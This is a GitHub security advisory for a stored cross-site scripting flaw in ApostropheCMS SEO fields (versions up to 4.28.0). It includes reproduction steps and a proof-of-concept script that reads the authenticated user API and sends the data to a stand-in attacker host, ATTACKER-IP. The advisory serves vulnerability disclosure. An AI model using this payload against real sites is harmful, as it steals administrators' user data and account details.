GitHub Security Advisory: GHSA-855c-r2vq-c292
Package: apostrophe (NPM)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: <= 4.28.0
Patched in: 4.29.0

Summary: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Details:
## Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

## Affected Version
ApostropheCMS (tested on version: v4.28.0)

## Vulnerability Details
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

- `<title>`
- `<meta>` attributes
- structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.



## PoC 1

**The following payload demonstrates breaking out of HTML context:**
```javascript
"></title><script>alert(1)</script>
```
This confirms:
  - Improper output encoding
  - Ability to escape `<title> / <meta>` contexts
  - Arbitrary script execution

## PoC 2
**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**
```javascript
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```


## Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

**PoC Video:** https://youtu.be/FZuulua_pa8


## Steps to Reproduce

1. Start a local listener: `python3 -m http.server 5656`
2. Login to ApostropheCMS as an authenticated user
3.  Create or edit a page
4.  Navigate to SEO settings
5.  Insert the payload into the SEO Title field  and  Meta Description
```javascript
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```
6.  Set **Schema Type** to "Web page"
7.  Save and publish the page
8.  Have an administrator visit the page


## Result
- The payload executes in the admin’s browser
- The script sends a request to: `/api/v1/@apostrophecms/user`
- The response contains sensitive user data:
  - usernames
  - email addresses
  - roles (including admin)

- The data is exfiltrated to the attacker-controlled server:
  - `http://ATTACKER-IP:5656`

## Evidence
- The attacker server receives:
  - `GET /?data=BASE64_ENCODED_RESPONSE`
- Decoding the response reveals sensitive application data.

## Security Impact
This vulnerability allows an attacker to:
  - Execute arbitrary JavaScript in an authenticated admin context
  - Perform authenticated API requests (session riding)
  - Access sensitive application data via internal APIs
  - Exfiltrate sensitive data to an external attacker-controlled server
  
 ## References
- Fix commit: https://github.com/apostrophecms/apostrophe/commit